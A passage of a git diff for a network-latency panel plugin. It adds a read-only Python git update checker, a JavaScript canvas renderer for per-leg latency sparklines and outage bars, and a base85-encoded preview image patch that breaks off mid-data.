stderr=subprocess.DEVNULL, + timeout=GIT_TIMEOUT_S, env=env, + ) + except (OSError, subprocess.TimeoutExpired): + return None, "" + out = "" + if capture and proc.stdout: + out = proc.stdout[:MAX_LS_REMOTE_BYTES].decode( + "utf-8", "replace").strip() + return proc.returncode, out + + def _local_head(self): + code, out = self._git("rev-parse", "HEAD") + return out if code == 0 and RE_SHA.match(out) else None + + def _remote_head(self): + """Origin's HEAD, or None. Writes nothing into the checkout.""" + code, out = self._git("ls-remote", "origin", "HEAD") + if code != 0 or not out: + return None + sha = out.split()[0] if out.split() else "" + # The guard: this value came off the network and is about to become a + # git argument. Anything but a bare object id is refused outright. + return sha if RE_SHA.match(sha) else None + + def check(self) -> str: + """Run one check now and return the verdict. Read-only throughout.""" + if not shutil.which("git"): + return "unknown" + local = self._local_head() + if not local: + return "unknown" # not a git checkout, or no commits + remote = self._remote_head() + if not remote: + return "unknown" # offline, no origin, or a junk answer + if local == remote: + return "current" + # Do we already hold origin's commit? Only objects we have are + # consulted from here on, so no fetch is ever needed. + code, _ = self._git("cat-file", "-e", remote + "^{commit}", + capture=False) + have = code == 0 + before, after = False, False + if have: + # Exit 1 means "not an ancestor", which is an answer, not an error. + code, _ = self._git("merge-base", "--is-ancestor", local, remote, + capture=False) + before = code == 0 + code, _ = self._git("merge-base", "--is-ancestor", remote, local, + capture=False) + after = code == 0 + return verdict(local, remote, have, before, after) + + def _run_check(self): + state = self.check() + with self._lock: + self._pending = state + self._inflight = False + + def _collect(self, now: float): + with self._lock: + state, self._pending = self._pending, None + if state is not None: + self.state = state + self.checked_ts = round(now) + + def tick(self, now: float): + """Called from the daemon loop; starts a check when one is due and + adopts the verdict of one that has finished. Never blocks.""" + if not self.enabled: + # Turning the setting off clears any standing notice, so the + # glyph disappears rather than lingering with a stale answer. + # A check already running is left to finish and its answer + # dropped here, unread. + self.state, self.checked_ts, self._next = "unknown", None, None + with self._lock: + self._pending = None + return + self._collect(now) + if self._next is None: + self._next = now + FIRST_CHECK_DELAY_S + return + if now < self._next: + return + self._next = now + CHECK_INTERVAL_S + with self._lock: + if self._inflight: + return + self._inflight = True + self._spawn(self._run_check) + # A synchronous spawn has already finished; adopt it now rather + # than a tick later. + self._collect(now) + + def snapshot(self) -> dict: + """What the panel reads. None while nothing has been established.""" + if not self.enabled or self.state == "unknown": + return None + return { + "state": self.state, + "available": self.state == "behind", + "checked_ts": self.checked_ts, + } diff --git a/plugins/io.github.x3me.nexthop/pathspark.js b/plugins/io.github.x3me.nexthop/pathspark.js new file mode 100644 index 0000000..04773fa --- /dev/null +++ b/plugins/io.github.x3me.nexthop/pathspark.js @@ -0,0 +1,204 @@ +// The recent history drawn into the path connectors on the Overview. +// +// The two lines between the nodes were flat 2 px bars coloured by the current +// value. They already occupied this space, so showing three minutes of each +// leg there costs no new row — the constraint that decides most of this +// panel's layout. +// +// What this file owns is slot derivation and the paint. It owns no arithmetic +// about the legs: the ISP leg is subtracted in the daemon (`score.wan_point_ms`) +// and arrives per point, because the rule that matters there is the one that +// REFUSES to answer when a gateway reads slower than the internet behind it, +// and a second copy of a refusal is the copy that forgets. Colours come in as +// a function so `PathChain.legColor` stays the only place thresholds live. +// +// No `.pragma library`: it would drop the QML context and `Qt.rgba` with it. + +// 36 slots of 5 s is three minutes. recent.json holds 360 of them, but the +// Latency tab already draws the whole half hour; a second long window here +// would be the same chart twice. Three minutes is what changes while you +// watch, which is the point of putting it here. +var SLOTS = 36; + +// Both legs share one zero-based scale at least this tall, so a wobble on a +// 2 ms local leg cannot be drawn larger than a slower WAN. The cost is that a +// fast local leg is a flat line near the floor. That is honest: it IS flat. +var SCALE_FLOOR_MS = 50; + +// The ring is the widest thing drawn, so it — not the line — sets the +// margins. Everything below is derived from it: a plot inset by less than +// the ring's outer edge cuts the ring, and the newest point is exactly +// where the ring goes, which is exactly the right edge. That is how the +// first cut shipped: the line was laid out edge to edge, correctly for a +// line, and the ring inherited an inset of zero. +// [Plamen, 2026-09-12: "its a bit cut off the pulsing dot?"] +var DOT_R = 2; +var RING_R = 4.5; +var RING_STROKE = 1.2; + +// The arc's outer edge, which is what must stay inside the canvas. +var PAD = RING_R + RING_STROKE / 2 + 0.4; + +// Clearance between the lowest a line may sit and the down bar, so a +// value at zero is not read as an outage marker. +var DOWN_GAP = 2; + +/** + * One leg's last `n` slots, newest last. + * + * Three outcomes, and keeping them apart is the whole job: + * {v: ms} measured + * {down: true} probes went out and nothing came back + * null nothing to say — no probe was sent, or the figure is withheld + * + * `loss === null` is the daemon's way of saying it sampled nothing in that + * bucket, which is a gap rather than an outage. A bucket that sampled and got + * no reply carries a loss figure with no `total`, and that is down. + */ +function slots(points, key, n) { + var out = []; + var pts = points || []; + var from = Math.max(0, pts.length - (n || SLOTS)); + for (var i = from; i < pts.length; i++) { + var p = pts[i]; + if (!p || p.loss === null || p.loss === undefined) { out.push(null); continue; } + if (key === "local") { + // The router itself did not answer. + if (p.local === null || p.local === undefined) { out.push({ down: true }); continue; } + out.push({ v: p.local }); + continue; + } + // Nothing beyond the router answered at all. + if (p.total === null || p.total === undefined) { out.push({ down: true }); continue; } + // It answered, but the subtraction was withheld — unknown, not zero, + // and certainly not an outage. + if (p.wan === null || p.wan === undefined) { out.push(null); continue; } + out.push({ v: p.wan }); + } + while (out.length < (n || SLOTS)) out.unshift(null); + return out; +} + +/** The tallest measured value across every leg, floored. */ +function sharedMax(seriesList, floor) { + var m = floor === undefined ? SCALE_FLOOR_MS : floor; + for (var i = 0; i < seriesList.length; i++) { + var s = seriesList[i] || []; + for (var j = 0; j < s.length; j++) { + if (s[j] && !s[j].down && s[j].v > m) m = s[j].v; + } + } + return m; +} + +/** The newest slot that carries anything at all, or -1. */ +function newestIndex(series) { + for (var i = series.length - 1; i >= 0; i--) if (series[i]) return i; + return -1; +} + +/** + * Paint one leg. + * + * `opts`: { max, phase, live, motion, colorFor, downColor, dimColor } + * `phase` runs 0..1 and drives the ring; `colorFor(ms, down)` is the panel's + * own `legColor`, passed in rather than reimplemented. + */ +function draw(ctx, w, h, series, opts) { + ctx.clearRect(0, 0, w, h); + if (!series || series.length === 0 || w <= 0 || h <= 0) return; + + var max = opts.max || SCALE_FLOOR_MS; + + // One margin on all four sides, so a ring fits wherever a mark can + // land: at the top of the scale, on the down bar, or at either end. + var downY = h - PAD; + var plotTop = PAD; + var plotH = Math.max(1, downY - DOWN_GAP - plotTop); + var left = PAD, right = w - PAD; + var step = series.length > 1 ? (right - left) / (series.length - 1) : 0; + + function yOf(v) { return plotTop + plotH - (Math.min(v, max) / max) * plotH; } + + // The measured line, cut at every gap so nothing is ever drawn across one. + var run = []; + function flushLine() { + if (run.length > 1) { + ctx.beginPath(); + for (var i = 0; i < run.length; i++) { + if (i === 0) ctx.moveTo(run[i].x, run[i].y); + else ctx.lineTo(run[i].x, run[i].y); + } + ctx.strokeStyle = run[run.length - 1].c; + ctx.lineWidth = 1.5; + ctx.lineJoin = "round"; + ctx.lineCap = "round"; + ctx.stroke(); + } else if (run.length === 1) { + ctx.fillStyle = run[0].c; + ctx.fillRect(run[0].x - 0.75, run[0].y - 0.75, 1.5, 1.5); + } + run = []; + } + + // A run of down slots is ONE outage, so it is one bar along the bottom + // rather than a row of ticks: its length is the duration. + var downRun = null; + function flushDown() { + if (!downRun) return; + ctx.fillStyle = opts.downColor; + ctx.fillRect(downRun.x0 - 1, downY - 1.5, + Math.max(2, downRun.x1 - downRun.x0 + 2), 3); + downRun = null; + } + + for (var i = 0; i < series.length; i++) { + var p = series[i], x = left + i * step; + if (!p) { flushLine(); flushDown(); continue; } + if (p.down) { + flushLine(); + if (downRun) downRun.x1 = x; else downRun = { x0: x, x1: x }; + continue; + } + flushDown(); + run.push({ x: x, y: yOf(p.v), c: opts.colorFor(p.v, false) }); + } + flushLine(); + flushDown(); + + // The ring goes on the LAST SLOT DRAWN, whatever kind it is. + // + // A down sample is a measurement: a probe went out and nothing answered, + // which is a reading arriving. So it pulses, in red, like any other newest + // mark. Only a gap gets no ring, because nothing arrived to claim. The + // reference implementation never pulses a down marker, and it strands the + // ring back at the last measured point while the line's real end sits + // somewhere else, which reads as a rendering fault. + // [D, Plamen, 2026-09-12] + var last = series.length - 1; + if (!series[last]) return; + var lx = left + last * step; + var ly = series[last].down ? downY : yOf(series[last].v); + var col = series[last].down ? opts.downColor + : opts.colorFor(series[last].v, false); + + if (opts.live) { + ctx.beginPath(); + if (opts.motion) { + ctx.arc(lx, ly, DOT_R + opts.phase * (RING_R - DOT_R), 0, Math.PI * 2); + ctx.globalAlpha = 0.5 * (1 - opts.phase); + } else { + // The claim is still made, without motion. + ctx.arc(lx, ly, RING_R, 0, Math.PI * 2); + ctx.globalAlpha = 0.4; + } + ctx.strokeStyle = col; + ctx.lineWidth = RING_STROKE; + ctx.stroke(); + ctx.globalAlpha = 1; + } + ctx.beginPath(); + ctx.arc(lx, ly, DOT_R, 0, Math.PI * 2); + ctx.fillStyle = col; + ctx.fill(); +} diff --git a/plugins/io.github.x3me.nexthop/preview.png b/plugins/io.github.x3me.nexthop/preview.png new file mode 100644 index 0000000000000000000000000000000000000000..6cda44dd5f344541095318d304fdfe01800db505 GIT binary patch literal 76472 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 